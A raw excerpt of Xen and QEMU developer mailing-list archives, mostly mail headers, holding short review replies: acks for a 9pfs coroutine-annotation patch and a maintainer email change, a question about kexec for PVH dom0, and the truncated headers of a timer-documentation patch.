	CQoQVBOus418Sta3g+c3LtDvyboclxS4nxR9s83FADKEzoE8YO4Peb1ik/A5uAYEBG9k48HtTll+y
	I7efPhu8rU2PqqX9+d/Lj3tFEiFi16IwD4rtbLFlNYcYmuSlU8+WcYZYwjrABF8TXV9e5z8PPn24j
	YiAPBd9MMgTtNpu7Z5QJpDxVIzKMXr9aKP+uRba+rXGYbLjRCgYBhVw+e34/gTOojL18GhiVtAMvO
	N8sxa+8/F4xJFqIXONy2UmIkCJXBEXmyYYZMm42MOGhPVHe7fPP98RKEyezazCKeQkAY5MGwp2jtC
	kr/Rte0ErDQ9ZiJx75A3aVMCCKhmjgoeHiozfK7UQ=;
From: Christian Schoenebeck <qemu_oss@crudebyte.com>
To: qemu-devel@nongnu.org,
 Philippe =?UTF-8?B?TWF0aGlldS1EYXVkw6k=?= <philmd@oss.qualcomm.com>,
 =?UTF-8?B?TWFyYy1BbmRyw6k=?= Lureau <marcandre.lureau@redhat.com>
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>,
 Fabiano Rosas <farosas@suse.de>,
 Daniel =?UTF-8?B?UC4gQmVycmFuZ8Op?= <berrange@redhat.com>,
 John Snow <jsnow@redhat.com>,
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>,
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>,
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>,
 Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony@xenproject.org>,
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
Subject:
 Re: [PATCH 7/8] hw/9pfs: annotate V9fsTransport callbacks as coroutine_fn
Date: Tue, 21 Jul 2026 10:50:49 +0200
Message-ID: <1962171.tdWV9SEqCh@weasel>
In-Reply-To:
 <CAMxuvay01r=EchTO=PocqPtdtZtxcJs+AJZExRA8rBao31mH7w@mail.gmail.com>
References:
 <20260720-co-v1-0-fabb4db3c204@redhat.com> <6287083.lOV4Wx5bFT@weasel>
 <CAMxuvay01r=EchTO=PocqPtdtZtxcJs+AJZExRA8rBao31mH7w@mail.gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"
X-purgate-ID: tlsNG-c1860d/1784623865-CFED287B-B038B302/0/0
X-purgate-type: clean
X-purgate-size: 1675

On Tuesday, 21 July 2026 10:39:52 CEST Marc-Andr=C3=A9 Lureau wrote:
> Hi
>=20
> On Tue, Jul 21, 2026 at 12:38=E2=80=AFPM Christian Schoenebeck
>=20
> <qemu_oss@crudebyte.com> wrote:
> > On Tuesday, 21 July 2026 10:25:34 CEST Philippe Mathieu-Daud=C3=A9 wrot=
e:
> > > On 21/7/26 10:06, Marc-Andr=C3=83=C2=A9 Lureau wrote:
> > > > Hi
> > > >=20
> > > > On Tue, Jul 21, 2026 at 11:58=E2=80=AFAM Marc-Andr=C3=A9 Lureau
> >=20
> > > > <marcandre.lureau@redhat.com> wrote:
> > [...]
> >=20
> > > >> most of them are "return-type co_annotation fn(..)"
> > > >> we even have scripts/block-coroutine-wrapper.py that relies and
> > > >> produce this order..
> > > >> a bit late to change the style imho...
> > > >>=20
> > > >> At least, let's not make this a requirement for this series, please
> > >=20
> > > Not a requirement on my side, but if we had to pick a style,
> > > I'd vote for "attribute before return type".
> >=20
> > Yep, because that's a) the most compiler-friendly option (all compilers
> > allow it, including MSC) and b) it's the most diff-noise friendly
> > solution (can be prepended on its own line without touching any of the
> > existing line(s) at all).
>=20
> ok, what should I do? Send a preliminary patch to fix all annotation
> positions? or just change the position in this patch or series?

Your decision. I'm just giving my 2cts. As this is not a behaviour change, =
it=20
is way below my threshold level for taking any strong position. If you can=
=20
make this for this patch for now, that would nice, but if not, not a deal=20
breaker either:

Acked-by: Christian Schoenebeck <qemu_oss@crudebyte.com>




From xen-devel-bounces@lists.xenproject.org Tue Jul 21 09:08:19 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 09:08:19 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367651.1617374 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm6SQ-0002Sv-P3; Tue, 21 Jul 2026 09:08:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367651.1617374; Tue, 21 Jul 2026 09:08:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm6SQ-0002So-Lf; Tue, 21 Jul 2026 09:08:10 +0000
Received: by outflank-mailman (input) for mailman id 1367651;
 Tue, 21 Jul 2026 09:08:09 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wm6SP-0002Si-Jt
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 09:08:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm6SO-001q47-Fb
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 11:08:08 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f36ef-5cb7-0a2a0a5109dd-0a2a4508ab8a-24
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 11:08:08 +0200
Received: from [209.85.128.50] (helo=mail-wm1-f50.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f36f8-f659-0a2a45080019-d1558032b510-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 11:08:08 +0200
Received: by mail-wm1-f50.google.com with SMTP id
 5b1f17b1804b1-49557167508so27051395e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 02:08:08 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f6fa848fcsm27086663f8f.0.2026.07.21.02.08.06
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 21 Jul 2026 02:08:07 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784624888; x=1785229688; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=XKU0jgt8tnx7GAk1wsI3Ni5Sb3Ie6Gh1dC40swdoaGI=;
        b=MhLswk/p5IyAN4hlPlFAjDWxWtEHwMq0TSZAefxCGj5RqFRILQBKrmv0gIkdFFp/j6
         3PedwwuZf7RMHusSfgrVS+t+mP8S0UukAp8W8AWSkpe7L7Gt7S8rMPBi8eK+XJZDSK+K
         Stxr2dR620bYDQ7Qu5DU29W4pShEeaOllTJCFFvqxDDXzpiZh3WY2hG4Izl8Li7zi5KX
         Co6yZ1eo6D0F6BG1pYw4D7oVR1TUiaQJJYsdOJ21Ow3TmxA4Q0LqR7gPRc2i+dgj7Frj
         bJnEd5d3wAAQjVFbrc0wzWkPLKaHQhH9iLhGKIv4SS7hzyBB7qvCZJZ5cFbaTXMidmXg
         QfGg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784624888; x=1785229688;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=XKU0jgt8tnx7GAk1wsI3Ni5Sb3Ie6Gh1dC40swdoaGI=;
        b=k8qbC3VwoIIgiyZVH1EkmPGxtr+XI0sqsqZthsJJPSVGUdGFRpquyS8Ekh+Rwz8MG5
         FQdcN58DKyTQ/s+8b2qv6djElPkr+/XViRB+FVw+9ZEIzqYHE9vYQY1g0zeWvzxnVTOO
         lYJqyY1Ig0GT5F6qNZsep0By9I8B7PWojpWUgGoqJajNCzAxHMiHQK9U4y7mcDDaV7hx
         5KUECu8X/mBjL8+0w06u0eqM/u/HRdUr4dtqNkjBzFMgAJ8bwh8OKmfkfnI+HRI9jeKA
         cghd6/ZXYrNvr1niPeEJSvZ0ipCdhs6sPxx3xPDMCllvcLyP0J2bJ8yfQUv/MHJduq2F
         322w==
X-Forwarded-Encrypted: i=1; AHgh+Rr+0vzBjnn1GKCr17rdfLmYLOIY8G36QPLENszo8gd/tYpgLjRCG2JoPs+74oXfbu1cfuOmsN8bjyQ=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxoRv7t2XWGsa6t7dohUKZOqhtdnzg9We+yKhS8bxB8c9UqXfJK
	21k40dlA8MoBATQZN0Co4nJagZqPsMIoltspwkwQj8rRfm8kVVJHHbZDfS7Wj1iPrg==
X-Gm-Gg: AfdE7clTZFecFtm7ZsepTYgBNp684LLNw31IeRDqI3dxi0JaWcwQk/Pupqw26vu3Hz7
	OY7Zw4zt8GoM4FQuamvbPLcX2UswMGri2brioGp4gkOtgiAQCqRQ51BkXgER1K2V7xGC+DMadAx
	6+7yETb6J9uyMc/NqWBLXZFMjcmS3UT/Hcs/dst89jWtO78SmgmqRTROQE0EawmJHlIAYPGY8XY
	SHJMX4y5OLCDHjj67ythKUBjlFaYTMoQHPkEKakzrW4Tm+dLRihOYIKqZwTFfssMe72hDkHr6/4
	6dv4KbVy23oJVaG0Pq5n8Rej+NvLvhDF07wRg1ut2Vtk6EyPw7ZBGQM6CUinZWIADi7vqHnNc1B
	Tp07OtsdXx9T+TlLtV0jtINrPgwoY71yi1AtLdhHvZllIsH0nnFFQDxAUmK1hSN0Z63jW4ZUCHL
	w6DGaqOOfSGKImAFysPVpPiirDocMPW/WQp/QoBhZUFxD20ey4Hlo9xxGkGUD9/5ZJMw==
X-Received: by 2002:a05:600c:1911:b0:495:4fd4:619b with SMTP id 5b1f17b1804b1-4954fd46219mr164776875e9.1.1784624887819;
        Tue, 21 Jul 2026 02:08:07 -0700 (PDT)
Message-ID: <5d0a00ab-aaf8-4aaf-ad6b-2ea7b8e1d8b0@suse.com>
Date: Tue, 21 Jul 2026 11:08:06 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] MAINTAINERS: update my email address
To: Roger Pau Monne <roger@xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <20260721081906.80803-1-roger@xenproject.org>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
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l0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260721081906.80803-1-roger@xenproject.org>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1784624888-CD14E87B-79B7755C/0/0
X-purgate-type: clean
X-purgate-size: 178

On 21.07.2026 10:19, Roger Pau Monne wrote:
> Signed-off-by: Roger Pau MonnÃ© <roger@xenproject.org>

For formality's sake:
Acked-by: Jan Beulich <jbeulich@suse.com>

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 09:41:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 09:41:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367669.1617403 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm6yd-0000mI-BW; Tue, 21 Jul 2026 09:41:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367669.1617403; Tue, 21 Jul 2026 09:41:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm6yd-0000mB-8Y; Tue, 21 Jul 2026 09:41:27 +0000
Received: by outflank-mailman (input) for mailman id 1367669;
 Tue, 21 Jul 2026 09:41:25 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger.pau@citrix.com>) id 1wm6yb-0000m5-DR
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 09:41:25 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger.pau@citrix.com>) id 1wm6yb-000aca-13;
 Tue, 21 Jul 2026 09:41:25 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger.pau@citrix.com>) id 1wm6ya-00FVWe-2O;
 Tue, 21 Jul 2026 09:41:24 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Date: Tue, 21 Jul 2026 11:41:10 +0200
From: Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: Xen-devel <xen-devel@lists.xenproject.org>,
	Jan Beulich <jbeulich@suse.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: Re: [PATCH] xen/kexec: Wire up kexec hypercalls for PVH hardware
 domains
Message-ID: <al8-tljQQFOZ_s9M@macbook.local>
References: <20260720185825.2204624-1-andrew.cooper3@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <20260720185825.2204624-1-andrew.cooper3@citrix.com>

On Mon, Jul 20, 2026 at 07:58:25PM +0100, Andrew Cooper wrote:
> Nothing in do_kexec_op() is PV specific.  Plumb in PVH guests too.
> 
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
> ---
> CC: Jan Beulich <jbeulich@suse.com>
> CC: Roger Pau MonnÃ© <roger.pau@citrix.com>
> CC: Teddy Astie <teddy.astie@vates.tech>
> 
> kexec-tools in userspace still has a PV check needing dropping before kexec is
> generally usable for PVH dom0's, but the Xen side should be all fine.

Yeah, I took a look into that but didn't attempt to remove the check.

However, a PVH dom0 would/could have two ways do to kexec:  it could
do a guest-only kexec (like other HVM guests), or a full host kexec
(like PV dom0).  Do we need a switch in kexec tools to signal whether
we want to perform a host vs guest kexec?  Or should we just assume
that a PVH dom0 will exclusively do host kexec?

Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 12:48:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 12:48:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367769.1617458 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm9t8-000264-Rv; Tue, 21 Jul 2026 12:47:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367769.1617458; Tue, 21 Jul 2026 12:47:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm9t8-00025x-OP; Tue, 21 Jul 2026 12:47:58 +0000
Received: by outflank-mailman (input) for mailman id 1367769;
 Tue, 21 Jul 2026 12:47:57 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ayan.kumar.halder@amd.com>) id 1wm9t7-0001rA-5r
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 12:47:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm9t6-00DDDW-Iw
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 14:47:56 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a5f6a78-e002-0a2a0a5209dd-0a2a4507a972-6
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 14:47:56 +0200
Received: from [52.101.56.12]
 (helo=BN1PR04CU002.outbound.protection.outlook.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a5f6a7b-b4ea-0a2a45070019-3465380cd5bb-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 14:47:56 +0200
Received: from CH2PR19CA0002.namprd19.prod.outlook.com (2603:10b6:610:4d::12)
 by LV3PR12MB9215.namprd12.prod.outlook.com (2603:10b6:408:1a0::21)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Tue, 21 Jul
 2026 12:47:49 +0000
Received: from DS2PEPF000061C5.namprd02.prod.outlook.com
 (2603:10b6:610:4d:cafe::af) by CH2PR19CA0002.outlook.office365.com
 (2603:10b6:610:4d::12) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.10 via Frontend Transport; Tue,
 21 Jul 2026 12:47:49 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 DS2PEPF000061C5.mail.protection.outlook.com (10.167.23.72) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.245.5 via Frontend Transport; Tue, 21 Jul 2026 12:47:49 +0000
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Tue, 21 Jul
 2026 07:47:48 -0500
Received: from xcbayankuma40.xilinx.com (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via
 Frontend Transport; Tue, 21 Jul 2026 07:47:47 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=AJZsugYzE+M9FTjIiJVSPGRW2tD8eGQgg2WNAkm2/glQXnaeui7LPOGa2RU2dgo7tvh4mAeELmCALCFYFpcrUShwymQR74A4+83kR+eINyyd2fjNzVoIeQ1NkZWxqjrSg7359LR+9CmyE2FNf5JnhJVvVsei7qfrcF8aeFqJJ7upNZQ9afZfPz/B69trHnT9mmxITX9vE3DULuFAaZLgu/hk/JhtN90Hsvjlu8w17GMhq+epWGqFY1wDmrUt4iXEA39AyBx0YFEQtlbeLHBt7bUVq6HYGbmvwK64ekeTs7HYhSXggnj3mBjG4X4rXllWmFG1St9P4MA+dpJ4O2JLtg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=4cAH2lqwOxWzPzwrleswyO3U6NgZz3i6Pgd/cYSg/IE=;
 b=buwMsjDAVLrGgf+4pGWzr5k72FMvgx0N0MjmuRvkCci+kX+c2U+0VNyGG1+PUNZhe5nAoowiz4j+rImnEmpdpRxMq1Qn5MQdBPa0vaPdvrCGVzIzM3S0xFpX0+pwCTwjZBzpSftB6ujjXxncDj1YIHZOfkz2XSKRLO7aCtlimZeLbnacF4HW1Fb8VAR0hfX12nFKI+MRieG4rlWFH94wJSiJwO1/UwaoShs2iiBgQYpAYT8cqrSKZfqjurFCryBg4kAx6nW/Q4ZF1GLt2cFgJlS0b+3yfoRa4++nS9KK3NovLfEwL6G57vJLWmeYTrfk/Nm9M4QY1StTwRTd5frGzQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=4cAH2lqwOxWzPzwrleswyO3U6NgZz3i6Pgd/cYSg/IE=;
 b=ZTwDGcbQ0tuuFrsApYpJ/P09ubYktswSqeLir947d6DvMP/Rd0IUhuMdY8GeF+PJ2SmrxJjWl/it3wkU2UZFWnnCorRkBbmfXk77gaQqznX8FbiXRV8jjxaizOEzcXeQHMM2SGTOkOptx4vduTVAvf/zM7HFTVWBeaI1P9ZGG8A=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
From: Ayan Kumar Halder <ayan.kumar.halder@amd.com>
To: <xen-devel@lists.xenproject.org>
CC: Ayan Kumar Halder <ayan.kumar.halder@amd.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>, Artem Mygaiev
	<artem_mygaiev@epam.com>, <matthew.l.weber3@boeing.com>,
	<harunobu.kurokawa.dn@renesas.com>
Subject: [XEN PATCH v1 2/2] docs/fusa: add generic timer arch spec with ASCII diagrams
Date: Tue, 21 Jul 2026 13:47:29 +0100
Message-ID: <20260721124729.868630-3-ayan.kumar.halder@amd.com>
X-Mailer: git-send-email 2.25.1
In-Reply-To: <20260721124729.868630-1-ayan.kumar.halder@amd.com>
References: <20260721124729.868630-1-ayan.kumar.halder@amd.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DS2PEPF000061C5:EE_|LV3PR12MB9215:EE_
X-MS-Office365-Filtering-Correlation-Id: 604ef56f-17fa-40a4-bf95-08dee7264557
X-LD-Processed: 3dd8961f-e488-4e60-8e11-a82d994e183d,ExtAddr
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
 BCL:0;ARA:13230040|376014|23010399003|36860700016|82310400026|1800799024|13003099007|6133799003|5023799004|11063799006|56012099006|10067099003|18002099003|22082099003|3023799007;
X-Microsoft-Antispam-Message-Info:
 ZCjXqqNVD+ZaZI4kYMhEQgcCBqh/Yiyslk5USZkg1qa9Zex/fYu5Kf6OtSjsR9GWaSdOV+HqYVy5/kwrWNVfxp4Bl9FzlGxe6addUu3JYEAPoVM8/vP5xllzLbPAoQuQ0bt9R30j/N0Gt8xCdBaNLg86zj61Dro7LNmCvPedRi2XAAoP3fZZL/boXW//DDA691c6nSx+BYwEzyftlnz5p91CHnkT3dz9QvxAE1+ONHxcMt8iU8XZHlYnW3ENnF1p1moLo9g5B+aSCMxKo592ftc2bvvG2daLUpTT+lcmlrS9XwzOuQSnvoUYU3Z4brTzJ/8nCHN7E2SMd7cTANglZZGOZtfrHHILQgWlrbhHyNh1yOVnx/P513WU/sZ3dr8XdnyovM/lPZNQDcQOdfy06dT9KkwDsWTackNukjDKfkEs5oXoJ/XY3R+0+xpMCvBfnvdmvK9YYt2xoKrNLLeLBUeVAnV/boUiuXA5caxwPoPn87JMlFegOdJAMFO4eOMeFGHa+o8z5HPnK32NJxocfA6nsMEbgn3/gj3v04lpu5cm0acLp/AA/Z8YSfmwmVBMZqc1Cna2sOyTOVRE1w8LpjfBfcdmTJbcgSgiaeKHCLBHgW9VgP/g+zIH8LzE4yJWS5Wd6tdVcefV7lrwMseuVaTe21qtHZ1LV/kQm8a0H0bWdQNqQgFJ2iPKyqhuP0JIpDV+SXI1VvtsKC9DGF8awQ==
X-Forefront-Antispam-Report:
 CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(376014)(23010399003)(36860700016)(82310400026)(1800799024)(13003099007)(6133799003)(5023799004)(11063799006)(56012099006)(10067099003)(18002099003)(22082099003)(3023799007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
